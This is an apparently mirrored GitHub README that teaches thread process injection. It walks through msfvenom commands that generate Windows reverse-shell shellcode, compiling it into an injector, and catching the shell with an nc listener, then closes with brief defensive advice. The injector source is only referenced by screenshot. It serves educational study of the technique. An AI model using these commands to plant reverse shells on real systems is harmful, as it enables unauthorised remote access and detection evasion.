Giter Club home page Giter Club logo

simpletpi's Introduction

SimpleTPI

writing these materials for myself and for educational purposes .i will write long explanetion about every line of code for better understanding ..

So, what is thread process injection?

TPI is a technique that allows an attacker to inject code into a running process and create a new thread that will execute the injected code. The goal of the attacker with this technique is to take control of the process. This is often used to evade detection, as the injected code runs within the context of a legitimate process and "hides" in the stack, making it difficult for security software to detect.

I will run the script by creating a VM in my case, is Kali Linux.

In the console, we type the command below:

ifconfig

Then take the VM IP we want to use as a "hacker" machine:

eth: flags=8908<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 2938
    options=3<RXCSUM,TXCSUM>
    ether xx:xx:xx:xx:xx:xx 
    inet xx.xx.xxx.xx netmask 0xfff0 broadcast xx.xx.xx.xx

I choose to use this exploit for the reverse shell, of course, you can choose any:

msfvenom -p windows/x64/shell_reverse_tc LHOST=xx.xx.xxx.xx LPORT=4444 -f c

Then we have the shell code, and we will insert it in the line of code - shellcode[] = {here}

Once we have the script as shown in the screenshot above, we will change the file mode for the .exe using the command

cl /Tc <filename>.cpp

Then, we will switch back to the VM and listen to the specified port using the command

 nc -nlvp 4444

We will then execute the program on our "hacker station" and we should have access.

Screenshot 2023-01-24 at 13 58 20

To verify that the process has been injected, we can use the HackerProcess tool and find the notepad.exe process Properties -> Memory -> Protection column RWX (Read, Write, Execute) and can find in the memory region the reverse shell code.

Screenshot 2023-01-25 at 10 50 03

To defend against process injection in a company, it is important to keep in mind that no single solution can completely protect against thread process injection, and it is necessary to use a combination of techniques to maximize the security of your system. Using memory protection techniques like ASLR and DEP can make it more difficult for an attacker to inject code into a running process by making it harder to predict the location of memory blocks. Additionally, endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process.


simpletpi's People

Contributors

mesn1r avatar

Stargazers

Roman avatar Daniela Milieris avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.